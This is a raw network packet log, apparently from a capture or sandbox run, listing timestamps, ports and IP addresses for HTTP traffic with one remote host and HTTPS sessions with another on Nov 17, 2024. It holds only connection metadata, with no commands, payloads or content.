Nov 17, 2024 12:35:25.650260925 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650362015 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650362968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650381088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650516987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650531054 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650533915 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650547981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650708914 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650718927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650734901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650751114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650763988 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650873899 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.650883913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650897026 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650937080 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.650949955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651128054 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651128054 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651160955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651206970 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651218891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651268005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651304007 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651326895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651341915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651351929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651359081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651422977 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651530981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651546955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651561975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651577950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651606083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651606083 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651727915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651777029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651783943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651802063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651817083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651832104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.651879072 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.651879072 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652096987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652113914 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652131081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652146101 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652162075 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652184010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652184010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652410984 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652434111 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652450085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652465105 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652479887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652493954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652508974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652523994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652542114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652568102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652575016 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652575970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652575970 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652615070 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.652952909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.652967930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653115988 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653120041 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653139114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653153896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653167963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653183937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653198004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653212070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653227091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653243065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653245926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653245926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653245926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653245926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653259993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653281927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653623104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653646946 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653661013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653676033 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653691053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653704882 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653721094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653736115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653739929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653739929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653739929 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.653753042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653768063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653783083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.653799057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654207945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654207945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654207945 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654433966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654449940 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654464960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654480934 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654484034 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654500961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654508114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654515028 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654519081 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654532909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654536009 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654536009 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654550076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654556036 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654567957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654586077 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.654634953 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.654634953 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.655024052 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.655039072 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.655054092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.655070066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.655072927 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.655086040 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.655102968 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.655342102 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.682821989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.682858944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.682898998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.682933092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.682972908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683005095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683064938 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683099031 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683134079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683166981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683185101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.683185101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.683185101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.683185101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.683202982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683238983 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.683239937 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.683294058 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.710397959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710438013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710473061 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710510015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710525036 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.710614920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710654974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710690975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.710690975 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.710740089 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710756063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710772038 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:25.710823059 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:25.986206055 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.986756086 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.986768961 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:25.987276077 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:25.987282991 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.114624977 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.114758015 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.114811897 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.114991903 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.114998102 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.115020037 CET	49788	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.115025043 CET	443	49788	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.117573023 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.117676020 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.117746115 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.117888927 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.117913961 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.186248064 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.187124968 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.187169075 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.187643051 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.187649965 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.197587013 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.198436975 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.198451996 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.198887110 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.198894978 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.286113977 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.286706924 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.286734104 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.287137032 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.287142992 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.297523975 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.298075914 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.298096895 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.298489094 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.298495054 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.317956924 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.318130016 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.318201065 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.318429947 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.318429947 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.318468094 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.318490982 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.320785046 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.320811987 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.320882082 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.321002007 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.321007967 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.329179049 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.329387903 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.329459906 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.329480886 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.329488993 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.329500914 CET	49789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.329508066 CET	443	49789	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.332124949 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.332202911 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.332268953 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.332392931 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.332411051 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.418608904 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.418735981 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.418843985 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.419043064 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.419085026 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.419102907 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.419118881 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.421767950 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.421857119 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.421932936 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.422060966 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.422080994 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.428477049 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.428610086 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.428663015 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.428683996 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.428695917 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.428706884 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.428713083 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.430393934 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.430413008 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:26.430552959 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.430721045 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:26.430733919 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.049443007 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.049920082 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.049999952 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.050307989 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.050323963 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.058254957 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.059422016 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.059456110 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.059782028 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.059789896 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.064162970 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.066711903 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.066737890 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.067053080 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.067063093 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.163250923 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.164228916 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.164243937 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.164674044 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.164679050 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.178781033 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.178888083 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.179032087 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.179032087 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.179120064 CET	49793	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.179162979 CET	443	49793	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.182040930 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.182091951 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.182214022 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.182334900 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.182341099 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.188695908 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.188854933 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.189033985 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.189084053 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.189084053 CET	49794	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.189105988 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.189121962 CET	443	49794	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.191647053 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.191670895 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.191801071 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.191935062 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.191950083 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.193131924 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.193195105 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.194036961 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.194036961 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.194036961 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.195698977 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.195761919 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.195838928 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.195966005 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.195992947 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.227982044 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.228516102 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.228547096 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.228965044 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.228992939 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.291421890 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.291495085 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.291552067 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.291748047 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.291763067 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.291775942 CET	49797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.291783094 CET	443	49797	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.294373035 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.294411898 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.294471025 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.295331955 CET	49801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.295346022 CET	443	49801	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.360831976 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.361005068 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.361061096 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.361110926 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.361129045 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.361143112 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.361149073 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.363993883 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.364033937 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.364119053 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.364244938 CET	49802	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.364260912 CET	443	49802	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.502118111 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.502146959 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.929399967 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.938169003 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.964580059 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:27.970858097 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:27.986516953 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.015347958 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.015374899 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.015737057 CET	49800	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.015747070 CET	443	49800	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.015933990 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.015940905 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:28.016258001 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:28.016263962 CET	443	49799	13.107.246.45	192.168.2.6
